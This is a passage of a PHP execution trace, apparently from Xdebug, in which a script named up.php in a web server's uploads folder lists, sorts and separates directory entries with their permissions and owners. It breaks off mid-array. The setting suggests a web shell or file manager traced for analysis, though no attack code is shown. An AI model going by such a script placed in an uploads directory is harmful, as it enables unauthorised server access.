3 A /var/www/html/uploads/up.php 884 $file['group_name'] = 'root'
3 A /var/www/html/uploads/up.php 886 $files[] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4 156 0 0.007895 800896 readdir 0 /var/www/html/uploads/up.php 848 1 resource(4) of type (stream)
4 156 1 0.007910 800936
4 156 R FALSE
3 A /var/www/html/uploads/up.php 848 $filename = FALSE
3 52 1 0.007935 799144
3 52 R [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
2 A /var/www/html/uploads/up.php 1181 $list = [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
3 157 0 0.008083 799144 array_key_exists 0 /var/www/html/uploads/up.php 1183 2 'sort' []
3 157 1 0.008098 799208
3 157 R FALSE
2 A /var/www/html/uploads/up.php 1183 $sort = 'filename'
3 158 0 0.008123 799144 array_key_exists 0 /var/www/html/uploads/up.php 1184 2 'reverse' []
3 158 1 0.008136 799208
3 158 R FALSE
2 A /var/www/html/uploads/up.php 1184 $reverse = FALSE
3 159 0 0.008161 799144 sortlist 1 /var/www/html/uploads/up.php 1186 3 [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']] 'filename' FALSE
3 A /var/www/html/uploads/up.php 902 $dirs = []
3 A /var/www/html/uploads/up.php 903 $files = []
3 A /var/www/html/uploads/up.php 905 $i = 0
4 160 0 0.008261 799144 sizeof 0 /var/www/html/uploads/up.php 905 1 [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4 160 1 0.008330 799176
4 160 R 6
3 A /var/www/html/uploads/up.php 906 $dirs[] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
3 A /var/www/html/uploads/up.php 905 $i++
4 161 0 0.008381 799520 sizeof 0 /var/www/html/uploads/up.php 905 1 [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4 161 1 0.008448 799552
4 161 R 6
3 A /var/www/html/uploads/up.php 907 $files[] = ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
3 A /var/www/html/uploads/up.php 905 $i++
4 162 0 0.008498 799896 sizeof 0 /var/www/html/uploads/up.php 905 1 [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4 162 1 0.008572 799928
4 162 R 6
3 A /var/www/html/uploads/up.php 906 $dirs[] = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
3 A /var/www/html/uploads/up.php 905 $i++
4 163 0 0.008645 799896 sizeof 0 /var/www/html/uploads/up.php 905 1 [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4 163 1 0.008734 799928
4 163 R 6
3 A /var/www/html/uploads/up.php 907 $files[] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
3 A /var/www/html/uploads/up.php 905 $i++
4 164 0 0.008811 799896 sizeof 0 /var/www/html/uploads/up.php 905 1 [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4 164 1 0.008956 799928
4 164 R 6
3 A /var/www/html/uploads/up.php 906 $dirs[] = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
3 A /var/www/html/uploads/up.php 905 $i++
4 165 0 0.009032 799896 sizeof 0 /var/www/html/uploads/up.php 905 1 [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4 165 1 0.009122 799928
4 165 R 6
3 A /var/www/html/uploads/up.php 907 $files[] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
3 A /var/www/html/uploads/up.php 905 $i++
4 166 0 0.009194 799896 sizeof 0 /var/www/html/uploads/up.php 905 1 [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => 'up.php', 'path' => '/var/www/html/uploads/up.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 80504, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676252825, 'atime' => 1676252825, 'ctime' => 1676252825, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => 